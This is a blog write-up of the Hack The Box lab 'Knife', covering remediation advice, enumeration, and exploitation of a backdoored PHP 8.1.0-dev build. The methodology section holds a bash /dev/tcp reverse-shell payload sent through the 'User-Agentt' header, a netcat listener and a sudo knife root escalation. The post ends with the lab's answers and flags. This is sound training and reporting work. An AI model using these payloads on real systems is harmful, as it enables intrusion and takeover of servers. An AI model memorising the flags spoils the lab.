            <content:encoded><![CDATA[<h3>HacktheBox Write up — Knife</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YHnpimMTNy6TW8ue" /></figure><h3>Background</h3><p>This box, titled Knife for obvious reasons found out later in this lab, is an easy-rated box that involves a Linux machine running a certain version of PHP that included a backdoor left unnoticed upon release. Exploiting this will let us gain our initial access, and from here, we will use a resource that will let us easily elevate our access to root user.</p><blockquote><a href="https://medium.com/p/f3b778499de9/#baf0"><strong>Answers to HTB at bottom</strong></a></blockquote><h4>Executive Summary</h4><p>This machine has a very blatant vulnerability that most threat actors could immediately identify — a version of PHP that was released with a backdoor.</p><blockquote>PHP is a general-purpose scripting language geared towards web development.</blockquote><p>We are shown the version of PHP running on this web server when we see the response header, and in plaintext, it reads “PHP/8.1.0-dev.” When we look up this particular version, the first result is for an exploit for this particular version: <a href="https://www.exploit-db.com/exploits/49933">PHP 8.1.0-dev — ‘User-Agentt’ Remote Code Execution — PHP webapps Exploit (exploit-db.com)</a>.</p><p>This is an immediate area that needs change. I would recommend updating the version of PHP to a more secure version without this severe vulnerability. <a href="https://www.php.net/releases/8_1_11.php">This page</a> from the official PHP page provides a download for this update, as well as a changelog detailing the changes. The exploit itself will be detailed in the methodology section of this report.</p><p>A second vulnerability I would recommend protecting is the ability of select users to run certain commands, or “binaries.” We escalated our privileges by our ability to run the “knife” binary as sudo.</p><blockquote>sudo is a command in Unix and Unix-like operating systems that allows users to run programs or commands with the privileges of another user, typically the superuser or root.</blockquote><p>Unless users have a necessity to run certain commands and/or programs, restrict their access. This is called the principle of least privilege.</p><blockquote>The principle of least privilege (PoLP) is a security concept and best practice in computer science and cybersecurity. It essentially means that a user, program, or system should have the minimum level of access and permissions necessary to perform their tasks or duties.</blockquote><p>This can be implemented in a few ways, including, but not limited to:</p><ol><li>Audit and Assess Permissions:</li></ol><p>Identify existing user roles, access levels, and permissions. Determine what each role or user needs to accomplish their tasks.</p><p>2. Restrict Access:</p><p>Review and limit administrative privileges to essential personnel. Limit user permissions to only what’s required for their roles.</p><p>3. Create Segmentation:</p><p>Segregate access levels. For example, separate system administrators from standard users and limit each group’s permissions.</p><p>4. Regular Reviews and Updates:</p><p>Periodically review user permissions and access rights. Update privileges as roles or responsibilities change.</p><p>5. Use Role-Based Access Control (RBAC):</p><p>Implement RBAC to assign permissions based on job roles rather than individual identities. This makes it easier to manage access control.</p><p>6. Implement Strong Authentication:</p><p>Use multi-factor authentication to ensure that even users with lower privileges have secure access.</p><p>7. Least Privilege for Software:</p><p>Configure software and applications to run with minimal necessary privileges.</p><p>Now that we have explained what can be fixed, let’s dive into how we figured this out.</p><h3>Methodology</h3><h4>Enumeration</h4><p>To begin, we nmapped the target IP.</p><pre>nmap -sV -sC 10.129.234.189</pre><p>Nmapping, along with using the -sV flag, will show us what ports are running what services, and the -sV flag will show us the service versions running.</p><p>After this, we get the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*j480CPBnJacvNutjsDmyVA.png" /></figure><p>We see 2 ports, port 22 and port 80.</p><p>First, we can determine that port 22, here used for SSH.</p><blockquote>SSH stands for Secure Shell. It’s a network protocol that allows secure communication between two devices by encrypting the connection. SSH is commonly used for remote access to systems, allowing users to log into another computer over a network, execute commands, and move files securely.</blockquote><p>We also see that it is not configured for anonymous login, which is sometimes configured on machines, leaving a possible point of entry to a system.</p><p>So, knowing this, we can check out the port 80 HTTP service. Let’s toss this IP into a browser and see what pulls up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*di-z0c8i0OwYZOPk_386Aw.png" /></figure><p>Interesting, some kind of healthcare site. This site itself doesn’t reveal much, even in developer mode and after viewing the source.</p><p>We do, however, have the ability to see the versions and services that are running this web server with our <a href="https://www.wappalyzer.com/apps/">Wappalyzer</a> firefox extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*vsAbtO_GXQPjwI7YARMKkQ.png" /></figure><p>We now know the stack used to build this web server.</p><p>Let’s check out this IP in dirbuster to see if there are any other pages we could check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*5iemd81BF63bziSdtTEBqQ.png" /></figure><p>Inconclusive, we don’t see any other pages to check out.</p><p>We can try to capture a response header to uncover more information.</p><blockquote>A response header is an <a href="https://developer.mozilla.org/en-US/docs/Glossary/HTTP_header">HTTP header</a> that can be used in an HTTP response and that doesn’t relate to the content of the message.</blockquote><p>To do this, let’s run the following command:</p><pre>curl -I http://10.129.234.189/index.php</pre><p>We get this output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*hevwdQapMWk_uySDqGnOYA.png" /></figure><p>Awesome, we now know the exact version of PHP this server is running — 8.1.0-dev. Let’s look this up to see if there is an exploit for it.</p><p>Wow, <a href="https://www.exploit-db.com/exploits/49933">there sure is</a>. It appears that someone left a backdoor in this particular version.</p><p><a href="https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md">This github page </a>shows us more info about it. It appears as though someone implanted a backdoor when this version was rolled out, and by sending a “User-Agentt” (sic) header in our GET packet to include “zerodium system” followed by a command in parentheses, the command will be executed as if it were intentionally included in the PHP script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*86zkv3OReH1VdNAZDC_4Yw.png" /></figure><h4>Exploit</h4><p>Let’s capture a packet in burp so that we can modify it to send the altered packet we need it to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ZRe3FBiw4k5HDNZUTsiFJQ.png" /></figure><p>For testing purposes, we will pass along “id” with our modified header.</p><p>Here is the response we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*3zfP_28eBpRHETJTgdneXQ.png" /></figure><p>How awesome is that, we achieved RCE. We can see that the server is running as user “james.”</p><p>Let’s now try passing a reverse shell command to hit a netcat listener.</p><p>We will use the following command to set up our listener.</p><pre>nc -lvnp 4444</pre><blockquote>nc: This is the command for netcat, a utility used for reading from and writing to network connections.<br>-l: It instructs netcat to listen for an incoming connection.<br>-v: It stands for verbose mode, providing more detailed information about the connection.<br>-n: This option is to prevent DNS resolution, which means it will not try to resolve hostnames.<br>-p 4444: This specifies the port number (4444 in this case) to listen on.</blockquote><p>We will also, in our Burp repeater, send the following modified “User-Agentt” header:</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.8/4444 0&gt;&amp;1&#39;<br># replace IP and port with your local machine&#39;s address</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*CrctG4ZXrroPdh3oIWRzEQ.png" /></figure><p>This time, we are passing a reverse shell to hit our local device and selected port. Let’s check our listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*fVFDSZLI2MhvP9GXKP8UdQ.png" /></figure><p>Awesome, we now have a shell as user “james.”</p><p>From here, we can also get the user flag.</p><h4>Privilege Escalation</h4><p>We have a shell as a user, but to really penetrate this machine, we want to get access as the root user.</p><p>To start our second enumeration, let’s run “sudo -l” to see what this user can run as superuser.</p><blockquote>-l, — list If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host. A longer list format is used if this option is specified multiple times and the security policy supports a verbose output format.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*H-jv0FSKUKlFSE_EwKrmGQ.png" /></figure><p>Interesting, user james can run /usr/bin/knife.</p><blockquote>/usr/bin/knife typically refers to the command-line tool ‘Knife’ used in the context of Chef, an automation platform.</blockquote><blockquote>Chef is used for configuration management, and Knife is a command-line tool that interacts with the Chef server. It allows users to manage Chef nodes, cookbooks, recipes, and more.</blockquote><blockquote>The /usr/bin directory is a common location for storing executable binaries on Unix-based systems, including Linux. When you refer to /usr/bin/knife, it indicates the location of the Knife executable binary on the system.</blockquote><p>Since we know that this user can run a certain binary as superuser, let’s check out a very useful website: <a href="https://gtfobins.github.io/">GTFOBins</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*dF81CUKag8137pYJCqxHaA.png" /></figure><p>This website has a directory of commands and tools that escalate privileges to root by simply having access to a binary. Let’s find the “knife” page.</p><p><a href="https://gtfobins.github.io/gtfobins/knife/">knife | GTFOBins</a> shows what we can do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*zDOmJIHMJHlPIZRA-UT7Zw.png" /></figure><p>Let’s try running that command:</p><pre>sudo knife exec -E &#39;exec &quot;/bin/sh&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*hPsawD3mkLgvnUiQXSvHsg.png" /></figure><p>We are now the root user.</p><p>From here, we can spawn a TTY shell with the following command to help us find the root flag.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Now we can navigate a bit and find the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*V_IiZxzATCOZuXfDIR6kzQ.png" /></figure><p>Looking at the knife binary command we ran a bit further, let’s break it down.</p><blockquote>sudo: It’s a command that allows users to execute commands with elevated privileges.<br>knife: The command-line tool for interacting with Chef, used for various administrative tasks.<br>exec -E ‘exec “/bin/sh”’: This portion seems to be using the -E flag, which typically denotes the inline Ruby code to be executed by Knife. The specific Ruby code provided, exec “/bin/sh”, attempts to execute a shell directly by calling /bin/sh.</blockquote><h3>Summary</h3><p>This was a fast box. After discovering the main exploit here with the PHP version running, we were able to simply change one line to get RCE, and then enter 2 commands to root ourselves. Again, as stated in the execute summary, this can be secured by updating the version of PHP running to a secure version without a backdoor.</p><h4>HacktheBox Answers</h4><p>QUESTION 1: How many TCP ports are open on Knife?</p><blockquote>2</blockquote><p>QUESTION 2: What version of PHP is running on the webserver?</p><blockquote>8.1.0-dev</blockquote><p>QUESTION 3: What HTTP request header can be added to get code execution in this version of PHP?</p><blockquote>User-Agentt</blockquote><p>QUESTION 4: What user is the web server running as?</p><blockquote>james</blockquote><p>USER FLAG: Submit the flag located in the james user’s home directory.</p><blockquote>48c950967fa8b9041d97fb94f473b923</blockquote><p>QUESTION 5: What is the full path to the binary on this machine that james can run as root?</p><blockquote>/usr/bin/knife</blockquote><p>ROOT FLAG: Submit the flag located in root’s home directory.</p><blockquote>8dac6eb88921f843631dcdd0850cd27d</blockquote><h4>Keywords</h4><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb knife</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3b778499de9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>